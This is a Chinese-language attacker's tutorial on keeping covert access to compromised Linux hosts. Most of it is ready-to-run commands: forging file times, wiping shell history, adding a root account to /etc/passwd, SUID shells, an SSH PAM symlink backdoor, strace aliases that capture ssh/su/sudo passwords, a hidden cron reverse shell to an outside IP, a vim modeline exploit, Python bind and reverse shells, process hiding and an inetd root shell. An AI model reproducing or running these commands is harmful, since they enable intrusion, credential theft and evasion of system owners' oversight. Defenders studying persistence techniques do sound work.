Linux权限维持
修改文件/终端属性
修改文件创建时间
如果蓝队根据文件修改时间来判断文件是否为后门,如果参考 index.php 的时间再来看 shell.php 的时间就可以判断 shell.php 的生成时间有问题。那么此时我们可以利用touch命令修改文件创建时间来进行隐藏。
touch -r index.php shell.php
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
文件锁定
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i shell.php #锁定文件
rm -rf shell.php #提示禁止删除
lsattr shell.php #属性查看
chattr -i shell.php #解除锁定
rm -rf shell.php #彻底删除文件
历史操作命令
在我们做攻防的时候,通常不希望自己的命令被记录下来,因为一旦被记录下来就很容易判断是否主机是否沦陷并借此进行溯源,那么此时我们就需要在拿到shell之后进行一个设置,让Linux不去记录我们的命令:
[space]set +o history #备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
[Space]set -o history #将环境恢复原状
当然,如果刚开始忘了进行设置,也可以通过后续删除历史记录来进行清楚痕迹。
删除大规模历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
passwd增加用户
先讲一下passwd和shadow文件的区别:
/etc/passwd 各部分含义: 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义: 用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
通常情况下,我们在进行添加账户的时候是将账户信息输入到passwd文件中:
perl -le 'print crypt("passwd","salt")'
sadtCr0CILzv2
# 上面是利用perl生成passwd加盐salt进行加密后的结果
echo "test:sadtCr0CILzv2:0:0:/root:/bin/bash">> /etc/passwd
然而如果系统不允许uid=0的用户远程登录,我们可以通过shadow增加一个普通用户账号:
echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
SUID后门
当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。
必要条件:
1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限
创建suid权限的文件:
$cp /bin/bash /tmp/.woot
$chmod 4755 /tmp/.woot
$ls -al /.woot
使用一般用户运行:
$/tmp/.woot
$/tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell
有的师傅可能对ID的知识有些迷茫,可以参考一下这个文章来进行理解: Real user ID, effective user ID, set user ID_fatshaw的博客-CSDN博客
SSH后门
SSH软连接后门
后门原理
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆。
也就是说,软连接后门是利用了PAM配置文件的作用,在我们将sshd文件软连接名称设置为 su 之后,在启动过程中他会去 PAM 配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功,这样就导致了可以使用任意密码登录:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12346
根据原理我们可以知道配置文件的核心是pam配置中的pam_rootok.so,所以只需包含这句话就可以实现后门功能,而且默认的配置文件中除了su,还有其他的可利用的配置文件。
echo "auth sufficient pam_rootok.so" >> /etc/pam.d/hacker
cat /etc/pam.d/hacker
ln -sf /usr/sbin/sshd /tmp/hacker;/tmp/hacker -oport=12347
在etc/pam.d/
目录下查找包含pam_rootok.so
配置的文件
我们可以发现还有 chsh
,chfn
包含着 pam_rootok.so
。
tips:软连接的路径对后门没有影响,无论是 /tmp/su
还是 /home/su
还是 /usr/local/su
都可以,只要文件位置有su文件。
配置信息的关键口令是:auth sufficient pam_rootok.so
,所以我们可以在找不到其他的可以进行软连接的文件时,自己创建一个包含 auth sufficient pam_rootok.so
的文件进行软连接。
优点:能够绕过一些网络设备的安全流量监测,但是本地在查看 时会暴露端口,建议设置成 8081,8080等端口。
小结
- Linux软连接ssh后门需要ssh配置允许PAM认证才能使用。
- 如果被控主机不允许root登陆可用其他已存在用户登陆。
- 通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在
/etc/pam.d/
目录下寻找对应的PAM配置文件(如:/etc/pam.d/su) - 任意密码登陆的核心是
auth sufficient pam_rootok.so
,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn。
SSH公钥免登录后门
ssh-keygen -t rsa ## 生成密钥
当然,公钥免登陆这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的 shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。
在利用 ssh-keygen -t rsa
生成密钥之后,目录下会有两个文件:
然后将 id_rsa.pub
的内容输入到受害机的 authorized_keys
文件中(这个文件在进行SSH公钥免登录中是必须存在的,位于 ~/.ssh/目录下)
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZ5+MGOCf2671gMeH23Nsrt9h/RpEAlux6d3KzbQw2vCsTQqkA2xnTCrIZDjGavsojyWcN9gLJNtV/0LjPOD/oxnj7RMWUU3yoj3snYmRmQqywBhxJANAosluvNbxvRLRu2ploz7VVld7j9byuMFsPqXR5ngILccRtfe3Md6ewTS2fv/NmV2oCFlvLZnkAlcpqWYR90lfRiRdvLz32kNCptN8TOYVjHhOgkF6sfgYORRMBbm1AzU4Gm6HgKsWwA4SN1BVJLVFkD3Qw/FMp/wwIbUMvJfiO/aUOjwV7VAtaqO4nD1SFsY8/tojYMmssWCzrELXoSqCj4glK7ILO1N5Lg6eYbO2Xs8HejV5m+ksYG5ea334lD3MWADtPVQjOCAAu2bV3uMIahsKLOscg3rN91jI9Mm9vszTjUVvcVu4ZMHis6Sg0dZaTOlwWNH0AoYHldQpaErDrxDzAf7jK9HCnWBeF3XaBhIy9YDFPzmM+jzYqZNOHXsygk0Ul9963n2s= kali@kali" > authorized_keys
然后在攻击机内进行登录即可(当然,也可以创建一个config文件,里面配置所要登陆的机器的ip和其简称,后续直接 ssh xx
即可)。
ssh -i id_rsa root@192.168.0.127
SSH Keylogger记录密码
当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
这个命令的话就是进行一个别名处理,将后续的命令别名程成 ssh
,在受害机执行 ssh 登录其他主机的时候,会先执行我们前面记录输入的密码的指令,然后再去执行 ssh 命令。
此时会在 /tmp
文件下生成一个log文件用来存放记录下的ssh的密码。
我们也可以利用这个命令去进行查找。
grep -A 9 'password'
当然,我们也可以利用sudo或者su命令进行记录:
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
利用Cron机制安装后门
Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。
1、crontab命令选项
# crontab -u
-u指定一个用户
-l列出某个用户的任务计划
-r删除某个用户的任务
-e编辑某个用户的任务
2、cron 文件写法
可用crontab -e命令来编辑,编辑的是/var/spool/cron下对应用户的cron文件,也可以直接修改/etc/crontab文件。
Minute Hour Day Month Week command
分钟 小时 天 月 星期 命令
0-59 0-23 1-31 1-12 0-6 command
Minute 每个小时的第几分钟执行该任务
Hour 每天的第几个小时执行该任务
Day 每月的第几天执行该任务
Month 每年的第几个月执行该任务
DayOfWeek 每周的第几天执行该任务,0表示周日
Command 指定要执行的程序、脚本或命令
3、特殊符号的含义
星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
4、常用命令
vi /etc/crontab ## cron配置文件路径
/etc/init.d/crond restart ##重启cron
查看cron服务情况
service crond status ##crond服务状态
service crond stop ##crond服务关闭
service crond start ##crond服务打开
cat /var/log/cron ##查看cron日志
chmod +x filename ##将脚本改成可执行
5、常用示例
5 * * * * ls ##指定每小时的第5分钟执行一次ls命令
30 5 * * * ls ##指定每天的 5:30 执行ls命令
30 7 8 * * ls ##指定每月8号的7:30分执行ls命令
30 5 8 6 * ls ##指定每年的6月8日5:30执行ls命令
30 6 * * 0 ls ##指定每星期日的6:30执行ls命令[注:0表示星期天,1表示星期1,以此类推,也可以用英文来表示,sun表示星期天,mon表示星期一等。]
30 3 10,20 * * ls ##每月10号及20号的3:30执行ls命令[注:“,”用来连接多个不连续的时段]
25 8-11 * * * ls ##每天8-11点的第25分钟执行ls命令[注:“-”用来连接连续的时段] */15 * * * * ls 每15分钟执行一次ls命令 [即每个小时的第0 15 30 45 60分钟执行ls命令 ]
30 6 */10 * * ls ##每个月中,每隔10天6:30执行一次ls命令[即每月的1、11、21、31日是的6:30执行一次ls命令 ]
每天7:50以root 身份执行/etc/cron.daily目录中的所有可执行文件
50 7 * * * root run-parts /etc/cron.daily [ 注:run-parts参数表示,执行后面目录中的所有可执行文件]
第10、20、30分钟输出到/tmp/cron1.txt:
10,20,30 * * * * echo “第10、20、30分钟输出一次” >> /tmp/cron1.txt
以用户web的身份每两小时就运行某个程序:
0 */2 * * * web /usr/bin/somecommand >> /dev/null 2>&1
6、利用
可以使用基本的服务查看状态命令等查看信息。
service cron status
查看用户的执行计划。(如果你显示没有计划不要着急,后面加上cron.allow和cron.deny就有了)
crontab -l ##列出任务
crontab -e ##编辑任务
我们可以通过将反弹shell加入到定时任务内进行执行:
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.0.114/2334 0>&1';\r%100c\n")|crontab -
而且我们会发现在受害机上查询定时任务会查询不到东西:
这个是因为我们在编辑定时任务时加进去的 \r%100c\n
,这个在Linux下的cat等命令是默认无法显示出来的,对于隐藏痕迹有一些好处。
vim后门
vim modeline(CVE-2019-12735)
该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。
开启命令:
vim ~/.vimrc
set modeline
当前目录下创建文件:
echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > hello.txt
vim hello.txt
uname -a
那么如果我们想要反弹shell:
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
然后进行连接即可。
vim python扩展后门
适用于安装了vim且安装了 python 扩展(绝大版本默认安装)的linux系统。
正向后门:
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print ('waiting for connect')
talk, addr = server.accept()
print ('connect from',addr)
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
反向后门:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.114",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
一般来说我们是做一个正向连接后门,因为反向后门的代码里面没有循环,并不能进行长时间的连接。
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
$(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
其中,恶意脚本 dir.py 的内容可以是任何功能的后门,比如上面的监听本地11端口。
隐藏后门
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &)
##将nohup的执行结果输出到/dev/null中。
##其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
## “2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
将netstat -anpt 查看到的可疑连接隐藏起来,解决方法: 既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上在,在执行完正向连接的代码后将其删除:
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
可以发现,我们已经在本地做了一个11端口的监听,接着就可以利用kali直接进行连接。
而且我们的恶意文件 dir.py 也已经进行删除清理。
当然,我们也可以利用进程隐藏来清理痕迹:
隐藏进程
mkdir null
mount --bind null /proc/3036 ##为vim的进程号
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
在进行检测的时候可以通过 cat /proc/$$/mountinfo
看到挂载的目录:
通过sudo umount /proc/进程号
来取消挂载。
inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
#修改/etc/inetd.conf
$vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
#开启inetd
$inetd
#nc连接
nc -vv 192.168.2.11 13
#可以配合suid后门,修改/etc/services文件:
suidshell 6666/tcp
#然后修改/etc/inetd.conf
suidshell stream tcp nowait root /bin/bash bash -i
#注意:可以修改成一些常见的端口,以实现隐藏
本文作者为J1angL1,转载请注明。